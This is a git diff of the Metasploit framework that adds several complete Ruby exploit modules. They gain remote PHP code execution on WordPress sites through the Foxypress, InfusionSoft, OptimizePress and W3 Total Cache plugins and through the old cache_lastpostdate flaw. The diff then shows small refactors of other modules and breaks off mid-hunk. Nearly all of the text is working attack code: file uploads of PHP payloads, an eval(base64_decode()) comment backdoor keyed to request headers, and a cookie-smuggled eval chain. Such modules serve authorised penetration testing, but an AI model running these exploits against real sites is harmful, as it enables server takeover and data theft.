require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
|
||||||
|
'Description' => %q(
|
||||||
|
This module exploits an arbitrary PHP code execution flaw in the WordPress
|
||||||
|
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
|
||||||
|
file upload and remote code execution via the uploadify.php script. The Foxypress
|
||||||
|
plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Sammy FORGIT', # Vulnerability Discovery, PoC
|
||||||
|
'patrick' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['EDB', '18991'],
|
||||||
|
['OSVDB' '82652'],
|
||||||
|
['BID', '53805'],
|
||||||
|
['WPVDB', '6231']
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
|
||||||
|
'DisclosureDate' => 'Jun 05 2012',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
|
||||||
|
)
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Detected if res && res.code == 200
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
|
||||||
|
|
||||||
|
print_status("#{peer} - Sending PHP payload")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||||
|
'data' => post_data.to_s
|
||||||
|
)
|
||||||
|
|
||||||
|
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
|
||||||
|
print_error("#{peer} - File wasn't uploaded, aborting!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
filename = "#{Regexp.last_match[1]}.php"
|
||||||
|
|
||||||
|
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
|
||||||
|
register_files_for_cleanup(filename)
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
|
||||||
|
)
|
||||||
|
|
||||||
|
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,82 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
|
||||||
|
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
|
||||||
|
upload and remote code execution.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'g0blin', # Vulnerability Discovery
|
||||||
|
'us3r777 <us3r777@n0b0.so>' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-6446'],
|
||||||
|
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
|
||||||
|
['WPVDB', '7634']
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
|
||||||
|
'DisclosureDate' => 'Sep 25 2014',
|
||||||
|
'DefaultTarget' => 0)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
|
||||||
|
'Infusionsoft', 'utilities', 'code_generator.php'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'fileNamePattern' => php_pagename,
|
||||||
|
'fileTemplate' => payload.encoded
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
|
||||||
|
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
|
||||||
|
register_files_for_cleanup(php_pagename)
|
||||||
|
else
|
||||||
|
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Calling payload ...")
|
||||||
|
send_request_cgi({
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
|
||||||
|
'Infusionsoft', 'utilities', php_pagename)
|
||||||
|
}, 2)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,79 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary PHP code execution flaw in the WordPress
|
||||||
|
blogging software. This vulnerability is only present when the PHP 'register_globals'
|
||||||
|
option is enabled (common for hosting providers). All versions of WordPress prior to
|
||||||
|
1.5.1.3 are affected.
|
||||||
|
},
|
||||||
|
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2005-2612'],
|
||||||
|
['OSVDB', '18672'],
|
||||||
|
['BID', '14533'],
|
||||||
|
['WPVDB', '6034']
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'ConnectionType' => 'find'
|
||||||
|
},
|
||||||
|
'Space' => 512
|
||||||
|
},
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Aug 9 2005',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
|
||||||
|
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
|
||||||
|
data =
|
||||||
|
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
|
||||||
|
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
|
||||||
|
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
|
||||||
|
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
|
||||||
|
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
|
||||||
|
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
|
||||||
|
|
||||||
|
# Trigger the command execution bug
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(datastore['URI']),
|
||||||
|
'cookie' => data
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
if (res)
|
||||||
|
print_status("The server returned: #{res.code} #{res.message}")
|
||||||
|
else
|
||||||
|
print_status("No response from the server")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,147 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'uri'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in the the WordPress theme OptimizePress. The
|
||||||
|
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
|
||||||
|
an attacker to upload arbitrary PHP code. This module has been tested successfully on
|
||||||
|
OptimizePress 1.45.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'United of Muslim Cyber Army', # Vulnerability discovery
|
||||||
|
'Mekanismen' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ],
|
||||||
|
[ 'WPVDB', '7441' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [ ['OptimizePress', {}] ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Nov 29 2013'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
uri = target_uri.path
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
|
||||||
|
#get upload filepath
|
||||||
|
print_status("#{peer} - Getting the upload path...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res and res.code == 200
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
|
||||||
|
file_path = $1
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
|
||||||
|
end
|
||||||
|
|
||||||
|
#set cookie
|
||||||
|
cookie = res.get_cookies
|
||||||
|
|
||||||
|
filename = rand_text_alphanumeric(8) + ".php"
|
||||||
|
|
||||||
|
#upload payload
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
|
||||||
|
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
|
||||||
|
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
|
||||||
|
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading PHP payload...")
|
||||||
|
|
||||||
|
n_data = post_data.to_s
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
|
||||||
|
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
|
||||||
|
'data' => n_data,
|
||||||
|
'headers' => {
|
||||||
|
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
|
||||||
|
},
|
||||||
|
'cookie' => cookie
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res and res.code == 200
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
|
||||||
|
#get path to payload
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res and res.code == 200
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||||||
|
end
|
||||||
|
|
||||||
|
payload_url = ""
|
||||||
|
|
||||||
|
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
|
||||||
|
payload_url =$1
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
u = URI(payload_url)
|
||||||
|
rescue ::URI::InvalidURIError
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
|
||||||
|
end
|
||||||
|
|
||||||
|
register_files_for_cleanup(File::basename(u.path))
|
||||||
|
|
||||||
|
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => u.path
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,207 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress W3 Total Cache PHP Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a PHP Code Injection vulnerability against WordPress plugin
|
||||||
|
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
|
||||||
|
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
||||||
|
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
||||||
|
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
||||||
|
then the module will automatically find or bruteforce one. Also, if anonymous comments
|
||||||
|
aren't allowed, then a valid username and password must be provided. In addition,
|
||||||
|
the "A comment is held for moderation" option on WordPress must be unchecked for
|
||||||
|
successful exploitation. This module has been tested against WordPress 3.5 and
|
||||||
|
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Unknown', # Vulnerability discovery
|
||||||
|
'juan vazquez', # Metasploit module
|
||||||
|
'hdm', # Metasploit module
|
||||||
|
'Christian Mehlmauer' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-2010' ],
|
||||||
|
[ 'OSVDB', '92652' ],
|
||||||
|
[ 'BID', '59316' ],
|
||||||
|
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
|
||||||
|
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
|
||||||
|
[ 'WPVDB', '6622' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
},
|
||||||
|
'Targets' => [ ['Wordpress 3.5', {}] ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Apr 17 2013'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
|
||||||
|
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
||||||
|
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
|
||||||
|
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def require_auth?
|
||||||
|
@user = datastore['USERNAME']
|
||||||
|
@password = datastore['PASSWORD']
|
||||||
|
|
||||||
|
if @user and @password and not @user.empty? and not @password.empty?
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def post_comment(text)
|
||||||
|
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
|
||||||
|
|
||||||
|
if @auth
|
||||||
|
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
|
||||||
|
else
|
||||||
|
author = rand_text_alpha(8)
|
||||||
|
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
|
||||||
|
author_url = rand_text_alpha(8)
|
||||||
|
uri = wordpress_post_comment_no_auth(php_payload,
|
||||||
|
@post_id,
|
||||||
|
author,
|
||||||
|
author_email,
|
||||||
|
author_url
|
||||||
|
)
|
||||||
|
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
|
||||||
|
end
|
||||||
|
uri
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless wordpress_and_online?
|
||||||
|
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
||||||
|
end
|
||||||
|
|
||||||
|
@auth = require_auth?
|
||||||
|
|
||||||
|
if @auth
|
||||||
|
print_status("#{peer} - Trying to login...")
|
||||||
|
@cookie = wordpress_login(@user, @password)
|
||||||
|
if @cookie.nil?
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
|
||||||
|
end
|
||||||
|
print_status("#{peer} - login successful")
|
||||||
|
else
|
||||||
|
print_status("#{peer} - Trying unauthenticated exploitation...")
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['POSTID'] and datastore['POSTID'] != 0
|
||||||
|
@post_id = datastore['POSTID']
|
||||||
|
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
||||||
|
else
|
||||||
|
print_status("#{peer} - Trying to get posts from feed...")
|
||||||
|
all_posts = wordpress_get_all_blog_posts_via_feed
|
||||||
|
# First try all blog posts provided by feed
|
||||||
|
if all_posts
|
||||||
|
all_posts.each do |p|
|
||||||
|
vprint_status("#{peer} - Checking #{p}...")
|
||||||
|
enabled = wordpress_post_comments_enabled?(p, @cookie)
|
||||||
|
@post_id = get_post_id_from_body(enabled)
|
||||||
|
if @post_id
|
||||||
|
print_status("#{peer} - Found Post POST ID #{@post_id}...")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# if nothing found, bruteforce a post id
|
||||||
|
unless @post_id
|
||||||
|
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
|
||||||
|
min_post_id = datastore['MIN_POST_ID']
|
||||||
|
max_post_id = datastore['MAX_POST_ID']
|
||||||
|
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
||||||
|
if @post_id.nil?
|
||||||
|
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||||
|
else
|
||||||
|
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
random_test = rand_text_alpha(64)
|
||||||
|
@sum = Rex::Text.sha1(random_test)
|
||||||
|
|
||||||
|
print_status("#{peer} - Injecting the PHP Code in a comment...")
|
||||||
|
text = Rex::Text::rand_text_alpha(10)
|
||||||
|
post_uri = post_comment(text)
|
||||||
|
if post_uri.nil?
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Executing the payload...")
|
||||||
|
options = {
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => post_uri,
|
||||||
|
'headers' => {
|
||||||
|
'Cmd' => Rex::Text.encode_base64(payload.encoded),
|
||||||
|
'Sum' => random_test
|
||||||
|
}
|
||||||
|
}
|
||||||
|
options.merge!({'cookie' => @cookie}) if @auth
|
||||||
|
# Used to see anonymous, moderated comments
|
||||||
|
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
|
||||||
|
res = send_request_cgi(options)
|
||||||
|
if res and res.code == 301
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and !res.body.match(/#{Regexp.escape(text)}/)
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = wordpress_and_online?
|
||||||
|
unless res
|
||||||
|
vprint_error("#{peer} does not seeem to be Wordpress site")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
|
||||||
|
version = $1
|
||||||
|
if version <= "0.9.2.8"
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Exploit::CmdStager
|
include Msf::Exploit::CmdStager
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -57,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||||
execute_cmdstager({ :temp => '.' })
|
execute_cmdstager({ :temp => '.' })
|
||||||
@payload_exe = payload_exe
|
@payload_exe = generate_payload_exe
|
||||||
|
|
||||||
print_status("Attempting to execute the payload...")
|
print_status("Attempting to execute the payload...")
|
||||||
execute_command(@payload_exe)
|
execute_command(@payload_exe)
|
||||||
|
|
|
@ -66,8 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
:activex => [
|
||||||
:method => "LoadMovie",
|
{
|
||||||
|
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
|
||||||
|
method: 'LoadMovie'
|
||||||
|
}
|
||||||
|
],
|
||||||
:os_name => OperatingSystems::Match::WINDOWS,
|
:os_name => OperatingSystems::Match::WINDOWS,
|
||||||
:ua_name => Msf::HttpClients::IE,
|
:ua_name => Msf::HttpClients::IE,
|
||||||
:flash => lambda { |ver| ver =~ /^11\./ }
|
:flash => lambda { |ver| ver =~ /^11\./ }
|
||||||
|
|
|
@ -51,8 +51,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
:activex => [
|
||||||
:method => "LoadMovie",
|
{
|
||||||
|
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
|
||||||
|
method: 'LoadMovie'
|
||||||
|
}
|
||||||
|
],
|
||||||
:os_name => OperatingSystems::Match::WINDOWS,
|
:os_name => OperatingSystems::Match::WINDOWS,
|
||||||
:ua_name => Msf::HttpClients::IE,
|
:ua_name => Msf::HttpClients::IE,
|
||||||
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
|
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
|
||||||
|
|
|
@ -46,8 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:clsid => "{#{CLASSID}}",
|
:activex => [
|
||||||
:method => "LoadMovie",
|
{
|
||||||
|
clsid: "{#{CLASSID}}",
|
||||||
|
method: "LoadMovie"
|
||||||
|
}
|
||||||
|
],
|
||||||
:os_name => OperatingSystems::Match::WINDOWS_7,
|
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||||
:ua_name => Msf::HttpClients::IE,
|
:ua_name => Msf::HttpClients::IE,
|
||||||
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
|
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
|
||||||
|
|
|
@ -55,8 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
:activex => [
|
||||||
:method => "LoadMovie",
|
{
|
||||||
|
